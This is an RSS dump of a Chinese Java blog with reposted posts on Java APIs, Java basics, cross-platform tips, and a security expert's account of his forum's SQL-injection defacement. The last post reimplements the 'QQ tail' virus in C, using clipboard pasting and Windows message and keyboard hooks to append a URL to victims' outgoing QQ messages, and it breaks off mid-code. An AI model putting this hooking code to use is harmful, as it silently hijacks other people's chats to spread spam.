		<p>　　<strong>JavaMail and JavaBeans Activation Framework</strong></p>
		<p>　　JavaMail是用于存取邮件服务器的API，它提供了一套邮件服务器的抽象类。仅支持SMTP服务器，也支持IMAP服务器。 JavaMail利用JavaBeans Activation Framework (JAF)来处理MIME-编码的邮件附件。MIME的字节流可以被转换成Java对象，或者转换自Java对象。由此大多数应用都可以不需要直接使用 JAF。</p>
		<p>　　<strong>Java Messaging Service (JMS)</strong></p>
		<p>　　JMS是用于和面向消息的中间件相互通信的应用程序接口(API)。它既支持点对点的域，有支持发布/订阅 (publish/subscribe)类型的域，并且提供对下列类型的支持：经认可的消息传递,事务型消息的传递，一致性消息和具有持久性的订阅者支持。JMS还提供了另一种方式来对您的应用与legacy backend系统相集成。</p>
		<p>　　<strong>Extensible Markup Language (XML)</strong></p>
		<p>　　XML是一种可以用来定义其它标记语言的语言。它被用来在不同的商务过程中共享数据。XML的发展和Java是相互独立的，但是，它和Java 具有的相同目标正是平台独立性。通过将Java和XML的组合，您可以得到一个完美的具有平台独立性的解决方案。目前正有许多不同的公司在为Java和 XML的组合而努力。如果要了解更多的这方面的信息，可以访问Sun的Java-XML页面，或者IBM developerWorks的XML Zone。</p>
<img src ="http://www.blogjava.net/computerboy/aggbug/97450.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2007-02-02 11:53 <a href="http://www.blogjava.net/computerboy/archive/2007/02/02/97450.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java基础知识总结</title><link>http://www.blogjava.net/computerboy/archive/2007/02/02/97446.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 02 Feb 2007 03:45:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2007/02/02/97446.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/97446.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2007/02/02/97446.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/97446.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/97446.html</trackback:ping><description><![CDATA[
		<p>
				<strong>本文系转载：</strong>出处:IT专家网社区<br /><br /><strong>1、对象的初始化</strong></p>
		<ul>
				<li>　　(1)非静态对象的初始化</li>
		</ul>
		<p>　　在创建对象时，对象所在类的所有数据成员会首先进行初始化。</p>
		<ul>
				<ul>
						<li>　　基本类型：int型，初始化为0。</li>
						<li>　　如果为对象：这些对象会按顺序初始化。</li>
				</ul>
		</ul>
		<p>　　※在所有类成员初始化完成之后，才调用本类的构造方法创建对象。</p>
		<p>　　构造方法的作用就是初始化。</p>
		<ul>
				<li>　　(2)静态对象的初始化</li>
		</ul>
		<p>　　程序中主类的静态变量会在main方法执行前初始化。</p>
		<p>　　不仅第一次创建对象时，类中的所有静态变量都初始化，并且第一次访问某类(注意此时未创建此类对象)的静态对象时，所 有的静态变量也要按它们在类中的顺序初始化。</p>
		<p>　　<strong>2、继承时，对象的初始化过程</strong></p>
		<ul>
				<li>　　(1)主类的超类由高到低按顺序初始化静态成员，无论静态成员是否为private。</li>
				<li>　　(2)主类静态成员的初始化。</li>
				<li>　　(3)主类的超类由高到低进行默认构造方法的调用。注意，在调用每一个超类的默认构造方法前，先进行对此超类进行非静态对象的初始化。</li>
				<li>　　(4)主类非静态成员的初始化。</li>
				<li>　　(5)调用主类的构造方法。</li>
		</ul>
		<p>　　<strong>3、关于构造方法</strong></p>
		<ul>
				<li>　　(1)类可以没有构造方法，但如果有多个构造方法，就应该要有默认的构造方法，否则在继承此类时，需要在子类中显式调用父类的某一个非默认的构造方法了。</li>
				<li>　　(2)在一个构造方法中，只能调用一次其他的构造方法，并且调用构造方法的语句必须是第一条语句。</li>
		</ul>
		<p>　　<strong>4、有关public、private和protected</strong></p>
		<ul>
				<li>　　(1)无public修饰的类，可以被其他类访问的条件是：a.两个类在同一文件中，b.两个类在同一文件夹中，c.两个类在同一软件包中。</li>
				<li>　　(2)protected：继承类和同一软件包的类可访问。</li>
				<li>　　(3)如果构造方法为private，那么在其他类中不能创建该类的对象。</li>
		</ul>
		<p>　　<strong>5、抽象类</strong></p>
		<ul>
				<li>　　(1)抽象类不能创建对象。</li>
				<li>　　(2)如果一个类中一个方法为抽象方法，则这个类必须为abstract抽象类。</li>
				<li>　　(3)继承抽象类的类在类中必须实现抽象类中的抽象方法。</li>
				<li>　　(4)抽象类中可以有抽象方法，也可有非抽象方法。抽象方法不能为private。</li>
				<li>　　(5)间接继承抽象类的类可以不给出抽象方法的定义。</li>
		</ul>
		<p>　　<strong>6、final关键字</strong></p>
		<ul>
				<li>　　(1)一个对象是常量，不代表不能转变对象的成员，仍可以其成员进行操作。</li>
				<li>　　(2)常量在使用前必须赋值，但除了在声明的同时初始化外，就只能在构造方法中初始化。</li>
				<li>　　(3)final修饰的方法不能被重置(在子类中不能出现同名方法)。</li>
				<li>　　(4)如果声明一个类为final，则所有的方法均为final，无论其是否被final修饰，但数据成员可为final也可不是。</li>
		</ul>
		<p>
				<strong>7、接口interface(用implements来实现接口)</strong>
		</p>
		<ul>
				<li>　　(1)接口中的所有数据均为static和final即静态常量。尽管可以不用这两个关键字修饰，但必须给常量赋初值。</li>
				<li>　　(2)接口中的方法均为public，在实现接口类中，实现方法必须可public关键字。</li>
				<li>　　(3)如果使用public来修饰接口，则接口必须与文件名相同。</li>
		</ul>
		<p>　　<strong>8、多重继承</strong></p>
		<ul>
				<li>　　(1)一个类继承了一个类和接口，那么必须将类写在前面，接口写在后面，接口之间用逗号分隔。</li>
				<li>　　(2)接口之间可多重继承，注意使用关键字extends。</li>
				<li>　　(3)一个类虽只实现了一个接口，但不仅要实现这个接口的所有方法，还要实现这个接口继承的接口的方法，接口中的所有方法均须在类中实现。</li>
		</ul>
		<p>　　<strong>9、接口的嵌入</strong></p>
		<ul>
				<li>　　(1)接口嵌入类中，可以使用private修饰。此时，接口只能在所在的类中实现，其他类不能访问。</li>
				<li>　　(2)嵌入接口中的接口一定要为public。</li>
		</ul>
		<p>　　<strong>10、类的嵌入</strong></p>
		<ul>
				<li>　　(1)类可以嵌入另一个类中，但不能嵌入接口中。</li>
				<li>　　(2)在静态方法或其他方法中，不能直接创建内部类对象，需通过手段来取得。</li>
		</ul>
		<p>　　手段有两种：</p>
		<p>
		</p>
		<p>
		</p>
		<table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
				<tbody>
						<tr>
								<td bgcolor="#f3f3f3">
										<font face="Verdana">class A ...{<br />class B ...{}<br />B getB() ...{<br />B b = new B();<br />return b;  }<br />}<br />static void m() ...{<br /> A a = new A();<br />A.B ab = a.getB(); // 或者是 A.B ab = a.new B();  <br />}  </font>
								</td>
						</tr>
				</tbody>
		</table>
		<p>　　(3)一个类继承了另一个类的内部类，因为超类是内部类，而内部类的构造方法不能自动被调用，这样就需要在子类的构造方法中明确的调用超类的构造方法。接上例： <img height="16" alt="" src="http://219.232.114.72/Images/OutliningIndicators/ExpandedBlockStart.gif" width="11" align="top" /><img height="16" alt="" src="http://219.232.114.72/Images/OutliningIndicators/ContractedBlock.gif" width="11" align="top" />class C extends A.B ...{</p>
		<p>
		</p>
		<p>
		</p>
		<table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
				<tbody>
						<tr>
								<td bgcolor="#f3f3f3">
										<font face="Verdana">class C extends A.B ...{<br /> C() ...{<br /> new A().super(); // 这一句就实现了对内部类构造方法的调用。  <br />}  }  </font>
								</td>
						</tr>
				</tbody>
		</table>
		<p>　　构造方法也可这样写： </p>
		<p>
		</p>
		<p>
		</p>
		<table style="BORDER-RIGHT: rgb(204,204,204) 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: rgb(204,204,204) 1px dotted; BORDER-LEFT: rgb(204,204,204) 1px dotted; BORDER-BOTTOM: rgb(204,204,204) 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
				<tbody>
						<tr>
								<td bgcolor="#f3f3f3">
										<font face="Verdana">C(A a) ...{<br />a.super();<br />} // 使用这个构造方法创建对象，要写成C c = new C(a); a是A的对象。</font>
								</td>
						</tr>
				</tbody>
		</table>
		<p>　　<strong>11、异常类</strong></p>
		<p>　　JAVA中除了RunTimeException类，其他异常均须捕获或抛出。</p>
<img src ="http://www.blogjava.net/computerboy/aggbug/97446.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2007-02-02 11:45 <a href="http://www.blogjava.net/computerboy/archive/2007/02/02/97446.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>项目开发前的准备工作－－－编写跨平台注意事项</title><link>http://www.blogjava.net/computerboy/archive/2007/01/19/94928.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 19 Jan 2007 06:16:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2007/01/19/94928.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/94928.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2007/01/19/94928.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/94928.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/94928.html</trackback:ping><description><![CDATA[最近由于公司要开发最近的web和wap网站。<br /><br />前提：windows系统开发，linux 系统运行。<br /><br />没有办法，我采用的几本是一些开发的东西，<br />配置是这样的，数据库：Mysql 服务器：Tomcat＋Apache。系统：linux<br /><br />上网找了一些资料，主要就是关于跨平台的一些细节：<br /><br />1 程序设计的信息编码要注意，一般要采用 ASCII码字符集，并不是所有的操作系统都支持Unicode码。<br />  后来研究一下，还是UTF-8。<br /><br />2 程序中不要硬性编码与平台相关的任何常量，比如行分隔符、文件分隔符、路径分隔符等。<br />在unix和mac 中是“/”，在windows里是“\”。<br />如要用这些常量，要使用  Java.util.properties 类的getProperty 方法。<br />如： Java.util.properties.getProperty("file.seParator")<br />可以获得文件分隔符，getProperty("line.seParator") 返回行分隔符。<br />                    getProperty("path.seParator") 返回路径分隔符<br /><br />3 编写跨平台网络程序时，不要使用 Java.net.InetAddress类的getHostName方法得到主机名，<br />因为不同的平台的主机名格式不同。最好使用 getAddress得到格式相同的IP地址。另外，<br />程序中的所有的主机都要换成IP地址。<br /><br />4 如写GUI程序，在使用AWT组件时不能硬性设置组件的大小和为止，而应该使用JAVA的布局管理器(Layout manager)<br />  来设置。<br /><br />5 不同的操作系统，不同的机器，系统支持的颜色和屏幕的大小和分辨率都不同，如何获得这些属性，<br />使用 Java.awt.systemcolor 类可以获得需要的颜色，如该类的 inactiveCaption 就是窗口边框<br />活动标题背景色   Menu是菜单背景色，使用Java.awt.Tookit 的 getScreenResolution可以以<br />“像素每英寸”为单位显示分辨率。<br />该类 getScreenSize 可以得到屏幕大小(英寸), LoadSystemcolors 可以列出所有的系统颜色。<br /><br />6 程序中使用任何一个方法时，要详细查看文档，确保，使用的方法不是文档已经申明为过时的方法，<br />也不是文档中未标明的隐含方法。<img src ="http://www.blogjava.net/computerboy/aggbug/94928.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2007-01-19 14:16 <a href="http://www.blogjava.net/computerboy/archive/2007/01/19/94928.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>剑客论坛被黑与孤独剑客谈黑客</title><link>http://www.blogjava.net/computerboy/archive/2006/12/24/89786.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Sun, 24 Dec 2006 13:06:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/12/24/89786.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/89786.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/12/24/89786.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/89786.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/89786.html</trackback:ping><description><![CDATA[本文系转载<br /> <br />2003年11月15日(星期六)上午9点左右，仍在睡梦(我的爱好之一:)中的我突然被手机声唤醒，原来是《黑客X档案》的主编zero给我打来的电话，说我论坛的页面被改了，按照常理说，我应该很吃惊的，毕竟在国内很多人对我的站点虎视眈眈啊，记得很多黑客爱好者新手对我说过：“将来我一定要打败你！”，我一般都乐呵呵地回答：“我相信你一定能做到！但你必须付出努力”，这是可以理解的，长江后浪推前浪，江山代有才人出嘛！而事实上我对此一点都没有感到吃惊，这就让很多人会感到奇怪了，你作为国内知名的安全专家，自己的网站页面被改，这么没面子的事，你咋能这么耐的住呢？这要听我慢慢说来。 <br /><br />关于我的历史我不想说太多了，自从2000以来，我就在专业安全公司为国内的企业提供安全产品和服务了，更多的时间投入到了项目管理和新产品的设计研究上，所以，近两年来我也很少写文章和出软件作品了，就是有一些也是很业余的，甚至粗糙，其实根本原因就是因为工作太繁忙，这是没办法的事情，生存第一嘛！其实更重要的是，作为公司的技术总监其责任要远比一名安全爱好者要多的多，要负责公司安全服务体系的设计，不了解国内外的安全标准行吗？要负责安全项目的组织和管理，不学习项目管理可以吗？要负责产品的设计和规划，不研究产品技术和原理行吗？... 人的精力是有限的！白天我把自己的时间几乎全部用在了工作上，只有夜晚属于我的，才得以和朋友交流最新的安全漏洞和技术等，但除去睡眠时间，可用的太有限了！ <br /><br />剑客站点是我从1999年10月1日做起来的一个个人站点，最早就是为了发布一下自己的文章和作品，但后来因独特的个性和实用的内容逐渐被朋友们所喜爱，每天的PageView达到了几万次，成为了大家交流技术和生活心得的一个场所，根据需要从2001年起我为之单独租用了服务器，增加了技术文章、常用软件、作者专栏和论坛社区等栏目，以期望大家有更好的交流场所，但由于投入的资金不可能太多，所以服务器的带宽很窄，窄到什么程度呢？我专门做过测试，也就是说用1台ADSL拨号的电脑使用SYNFlood攻击就可以导致服务器停止提供服务。这是没有办法的事情，因为毕竟资金有限，剑客站点作为一个全免费的基本不做广告的站点，却拥有独立的域名和服务器，这对于很多网站而言已经很不错了，并且剑客站点还在可承受的范围内为一些朋友提供50M以上的免费Email。 <br /><br />在网站栏目的扩展和大家享受更多免费服务的同时，剑客网站的安全风险也在增大，做为安全技术人员，我很早就意识到了这点，事实上剑客网站采用了网上常见的免费文章系统、下载系统和论坛系统等，大家也都知道这些脚本程序的代码量很大，里面存在很多编码不严谨的地方，经常是堵了老漏洞又出了新漏洞，我不可能为自己去写这些系统，也不可能把它们的代码统统去检查一遍，根本原因是我的业余时间太少了，我曾经尝试做了一些，但一个星期也就才修改了很少一部分，实在太有限了，所以就放弃了。 <br /><br />记得在过去，大家研讨黑客技术都是以取得对方系统的管理员权限为目的，现在不同了，有些人把更换对方的页面做为目的了，就象是敌我双方打仗一样，常规的判定打胜对方的标准是控制对方的阵地并俘虏对方的士兵，但现在被这些人换成了只要能偷偷潜入对方阵地，贴上一个“这里被我占领了！”的纸条就算胜利了，这不是有掩耳盗铃、自欺欺人的意味么？ <br /><br />事实是：剑客站点经历了无数次的攻击，但至今没有人获得管理员权限！ <br /><br />实际上，剑客站点完全可以做的非常安全，那就是把全站做成静态页面或者是亲自编写严谨的脚本系统，但是选择前者的话，大家交流的场所就失去了，这是可悲的，若选择后者由我本人来做是不现实的，其实最好的就是关闭站点，这样对我的名声上可能会很有好处，但大家也就永远的失去了这样一个交流的场所，我想这是剑客 200万以上的访客和近2万的论坛用户所不愿看到的，因此，我选择了面对风险，在系统级做了安全处理后仍然保持网站开放，但仍然面临着应用层次的攻击... 并且由于仍然是时间问题，网站的管理一直由onebull、开心、孤独侠客和水晶等朋友维护管理。 <br /><br />今年5月份 N.E.V.E.R朋友在黑客基地(www.hackbase.com)发表的文章《我是这样渗透入侵孤独剑客网站(www.janker.org) 的》，就暴露出了文章和下载系统存在的问题，经过他修改后在一定程度上起到了安全作用，但遗憾的是论坛系统并没有得到安全处理，其实论坛的问题早就存在了，在论坛的公告信息里面： <br /><br />================================================= <br />祝今天参加程序员考试的兄弟们顺利过关！ <br />发布人：孤独剑客 发布时间：2003-10-12 19:37:55 <br />================================================= <br /><br />这消息不是我发布的，后来一位朋友在QQ上告诉我是他发的，我说谢谢他免费管理！是的，我的确没有更改，甚至由于不是恶意的，连删除都没有做，自然也没做什么处理，也就是说漏洞依然。 <br /><br />大约从今年7月份开始，随着用户量的增加，很多用户反应论坛速度越来越慢，这时候“黑客基地(www.hackbase.com)”为我提供了高速空间，于是我就把bbs.janker.org放在了它们的服务器上，并由它们负责管理和维护。其实几个月以来，剑客网站(www.janker.org)经常被 DDoS所攻击，一直到最近北京下了场雪后，机房光纤被压断，导致连续几天无法访问，当时我刚好也在出差在外，没有办法，等光纤恢复后服务器因为连续运转了两年多硬件又出现了故障，一时无法恢复，所以我干脆www.janker.org指向了bbs.janker.org，以便大家仍然能够访问交流，但这就意味着，只要更改了论坛的脚本就好像替换www.janker.org页面，并且果然有人这么做了，传出去也就成了“剑客网站被黑了！！”，并且从留在页面上的话可以看出，剑客网站成了爱情的牺牲品，为的是献给某某女孩以展示其黑客水平，那么这种所谓的黑客技术果然值得炫耀吗？让我们分析一下其黑客过程。 <br /><br />1、从我的论坛最下方的“? 1999-2003 孤独剑客 感谢Rick提供”，判断出本论坛是“极限论坛”。 <br />2、使用目前流行的SQL注入攻击方法获取论坛管理员“孤独剑客”或“开心”的密码。 <br />3、通过http://bbs.janker.org/admin进入管理页 <br />4、更改页面所有的颜色为黑色！（这里主要是隐藏其换不掉的部分） <br />5、更换论坛的logo图片地址为http://xxx/2003111535275752.jpg （这就是替换的页面其实就是一个大图片） <br />6、删除所有的栏目和数据（最卑鄙无耻的行为！确保首页无法替换的部分最少） <br />7、删除所有管理员用户（以达到延迟发现后页面恢复的时间） <br /><br />从上面分析可以知道，除了发现极限论坛的SQL注入漏洞有些技巧以外，没有什么技术含量，并且这种漏洞已经出了很多，若用心的话，一个初中生完全可以做到，但并不是每个人都以这么无耻的手法去做，这就象杀人一样，大多数人都可以做到，若去战场杀敌，我们会称他为英雄，但若杀自己人，他就是罪犯，删除无辜数据更是真正黑客之大忌，为大家所不耻！ <br /><br />说到这次更换剑客论坛(bbs.janker.org)页面的styxfox，在不久前他更改华东师范大学主页的时候，我就想写篇文章发表一下感想，但仍然是工作繁忙无法静下心来整理思路，于是就拖了下来，今天就要说几句了。 <br /><br />从2001 年的中美黑客大战的红客联盟出现和媒体不断的炒做后，国内黑客界就有一种趋势，可以说是一种可怕的趋势，那就是有些人为了出名，什么都敢做，不管道德，不顾法律！敢做其实并不可怕，关键是你用在何处，你真能把日本右翼的网站、**功的网站或者是分裂分子的网站黑掉、Format掉也就是了，大家都会为你叫好！遗憾的是他们做不到，贫乏的知识和能力注定了他们做不到。因此他们就把目标转向了国内网站，使用那些自动化的黑客工具或技巧，黑到谁算谁，于是一批这样的网站就遭殃了，华东师范大学的主页就是一个牺牲品，再就是利用一些国内黑客站点没有自己独立服务器无法控制安全的因素，攻击这些站点，于是红客联盟、黑白网络、牛族、小凤居等就遭殃了，那么对付换不了页面的怎么办呢？于是就DDoS，于是天天安全网、剑客网站、安全焦点就无法访问了，甚至嚣张到其他论坛大发言论“xxx站被我黑了”以希望出名... 遗憾的是知道真相后大家对他有的只是鄙视。 <br /><br />就目前而言，为出名而丧失道德的这种趋势有增无减，曾有不少人在QQ中问我：“我技术比红客联盟的lion强多了，为什么我就没他出名？”，我无语！同时也感到悲哀，媒体的导向害了一批人。想想我的好友冰河、FZK、小榕、GoodWell、天行、PP等，他们不是系统和管理专家就是编程高手，个个身怀绝技，若他们以那种道德沦丧的方式乱黑网站的话，只需一夜整个网络肯定能闹翻了天，但请你们看一看在国内那个被黑的国内网站上看到过他们的影子，你们所能看到的就是他们的编写的黑客软件在国外被所广泛使用并倍受赞誉，你们看到他们留名的地方都是国外反动分子的网站。 <br /><br />去年我曾为《黑客X档案》写过“为黑客正名”的序，呼吁国内不要再糟蹋黑客这个神圣的词语了，但遗憾的是在国内仍然不少人在肆意的践踏，记得国内有位程序员朋友曾写文章试问国内的所谓黑客，“你没上大学可以原谅，但你读过几个RFC？TCP/IP网络7层的准确名称是？Windows真的很简单？Unix你知道多少？确信会用c写程序？... ”，不想再说了，只是想忠告那些急于成名的伪黑客，醒醒吧！好好学习，学真的本事，把你的安全技能用于为国内企业提供安全服务，以捍卫祖国的网络长城，这才是人生价值最有意义的体现，否则等待你的也许将是冰冷的铁窗生涯。 <br /><br /><br />孤独剑客 <br />2003年11月15日 <br />网站：http://www.janker.org <br />发布：<a href="http://www.hackbase.com/" target="_blank">http://www.hackbase.com</a><img src ="http://www.blogjava.net/computerboy/aggbug/89786.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2006-12-24 21:06 <a href="http://www.blogjava.net/computerboy/archive/2006/12/24/89786.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>QQ尾巴病毒”核心技术的实现</title><link>http://www.blogjava.net/computerboy/archive/2006/12/24/89784.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Sun, 24 Dec 2006 13:03:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2006/12/24/89784.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/89784.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2006/12/24/89784.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/89784.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/89784.html</trackback:ping><description><![CDATA[ 本文系转载<br /><br />下面我将要讨论的，就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得，所以以下的代码全是我主观臆断所得，所幸的是效果基本与病毒本身一致。 <br />粘贴尾巴 <br /><br />首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言，就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下： <br />TCHAR g_str[] = "欢迎来我的小站坐坐：<a href="http://www.stonecn.org">www.stonecn.org</a>    or  www.blogjava.net/computerboy"; <br />// 函数功能：向文本框中粘贴尾巴 <br />void PasteText(HWND hRich) <br />{ <br />HGLOBAL hMem; <br />LPTSTR pStr; <br />// 分配内存空间 <br />hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str)); <br />pStr = GlobalLock(hMem); <br />lstrcpy(pStr, g_str); <br />GlobalUnlock(hMem); <br />OpenClipboard(NULL); <br />EmptyClipboard(); <br />// 设置剪贴板文本 <br />SetClipboardData(CF_TEXT, hMem); <br />CloseClipboard(); <br />// 释放内存空间 <br />GlobalFree(hMem); <br />// 粘贴文本 <br />SendMessage(hRich, WM_PASTE, 0, 0); <br />} <br /><br />钩子 <br /><br />　　好了，那么下面的问题是，这段文本应该在什么时候贴呢？网上有一些研究QQ尾巴实现的文章指出，可以用计时器来控制粘贴的时间，类似这个样子： <br />void CQQTailDlg::OnTimer(UINT nIDEvent) <br />{ <br />PasteText(hRich); <br />} <br />　　这的确是一种解决的手段，然而它也存在着极大的局限性——计时器的间隔如何设置？也许中毒者正在打字，尾巴文本“唰”的出现了…… <br />　　然而病毒本身却不是这样子，它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒，由于系统速度较慢，所以可以很清楚地看见文本粘贴的时机。 <br />　　讲到这里，我所陈述的这些事实一定会让身为读者的你说：钩子！——对，就是钩子，下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。 <br />　　首先我对钩子做一个简要的介绍，已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子（hook）并不是铁钩船长那只人工再现的手臂，而是一段子程序，它可以用来监视、检测系统中的特定消息，并完成一些特定的功能。打个比方来说，你的程序是皇帝，Windows系统充当各省的巡抚；至于钩子，则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税，然后派了一个钦差找到山西巡抚说：“皇上有旨，山西除正常赋税外，加收杏花村酒十坛。”（-_-#……）正如皇帝可以用这种方法来特殊对待特定的巡抚一样，程序员也可以用钩子来捕获处理Windows系统中特定的消息。 <br />　　问题具体到了“QQ尾巴病毒”上边，就是我们需要一个钩子，在用户单击了“发送”按钮之后，粘贴我们的文本。我所实现的这段钩子过程为（至于如何挂接这个钩子，我会在稍后说明）： <br />// 钩子过程，监视“发送”的命令消息 <br />LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) <br />{ <br />CWPSTRUCT *p = (CWPSTRUCT *)lParam; <br />// 捕获“发送”按钮 <br />if (p-&gt;message == WM_COMMAND &amp;&amp; LOWORD(p-&gt;wParam) == 1) <br />　 PasteText(g_hRich); <br />return CallNextHookEx(g_hProc, nCode, wParam, lParam); <br />} <br />　　在此我对这个回调过程说明几点： <br />　　1、lParam是一个指向CWPSTRUCT结构的指针，这个结构的描述如下： <br />typedef struct { <br />LPARAM lParam; <br />WPARAM wParam; <br />UINT message; <br />HWND hwnd; <br />} CWPSTRUCT, *PCWPSTRUCT; <br />　　这时候像我一样的SDK fans也许会会心一笑：这不是窗口回调的那四个铁杆参数么？如你所说，的确是这样，你甚至可以使用switch (p-&gt;message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。 <br />　　2、g_hRich是一个全局变量，它保存的是QQ消息文本框的句柄。这里之所以采用全局变量，是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置，我会在稍后说明。 <br />　　3、CallNextHookEx是调用钩子链中的下一个处理过程，换了钦差就会说：“十坛杏花村酒本钦差已经替皇上收下了，现在请巡抚大人把贵省正常的赋税交上来吧。”（-_-#……）这是书写钩子函数中很重要的一个环节，如果少了这一句，那么可能会导致系统的钩子链出现错误，某些程序也会没有响应 ——事实上我在编写这个仿真程序的时候QQ就当掉了几回。 <br />　　4、你也许会问为什么我捕获的是WM_COMMAND消息，这个原因让我来用下面的SDK代码（虽然QQ是用MFC写的，但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系）来说明： <br />#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义 <br />// QQ发送消息对话框回调过程·李马伪造版 <br />LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam) <br />{ <br />switch (Msg) <br />{ <br />case WM_CLOSE: <br />　 EndDialog(hDlg, 0); <br />　 break; <br />case WM_COMMAND: <br />　 { <br />　　 switch (LOWORD(wParam)) <br />　　 { <br />　　 case IDC_BTN_SENDMSG: <br />　　　 // 发送消息... <br />　　　 break; <br />　　 // 其它的命令按钮处理部分... <br />　 } <br />} <br />break; <br />// 其它的case部分... <br />} <br />return 0; <br />} <br />　　消息发送的整个过程是：当用户单击了“发送”按钮后，这个按钮的父窗口（也就是“发送消息”的对话框）会收到一条WM_COMMAND的通知消息，其中 wParam的低位字（即LOWORD(wParam)）为这个按钮的ID，然后再调用代码中发送的部分，这个过程如下图： <br /><br />　　所以，在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。 <br />　　好了，现在这个钩子已经可以胜利地完成任务了。但是请不要忘记：有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息，所以程序中还需要挂上一个键盘钩子： <br />// 键盘钩子过程，监视“发送”的热键消息 <br />LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) <br />{ <br />// 捕获热键消息 <br />if (wParam == VK_RETURN &amp;&amp; GetAsyncKeyState(VK_CONTROL) &lt; 0 &amp;&amp; lParam &gt;= 0) <br />　 PasteText(g_hRich); <br />return CallNextHookEx(g_hKey, nCode, wParam, lParam); <br />} <br />　　在这里唯一要解释的一点就是lParam &gt;= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入，那么lParam &gt;= 0又是什么呢？事实上在键盘钩子的回调之中，lParam是一个很重要的参数，它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam 的最高位（0x80000000）则表示了当前这个键是否被按下，如果这个位正在被按下，这个位就是0，反之为1。所以lParam &gt;= 0的意思就是在WM_KEYDOWN的时候调用PasteText，也就是说，如果去掉这个条件，PasteText将会被调用两次（连同 WM_KEYUP的一次）。 <br /><br />挂接钩子和查找窗口 <br /><br />　　接下来就是如何挂接这两个钩子了。对于挂接钩子，要解决的问题是：往哪里挂接钩子，以及如何挂接？ <br />　　挂接钩子的目标，肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接： <br />// 挂接钩子 <br />BOOL WINAPI SetHook(HWND hQQ) <br />{ <br />BOOL bRet = FALSE; <br />if (hQQ != NULL) <br />{ <br />　 DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL); <br />　 // 感谢好友hottey的查找代码，省去了我使用Spy++的麻烦 <br />　 g_hRich = GetWindow(GetDlgItem(hQQ, 0), 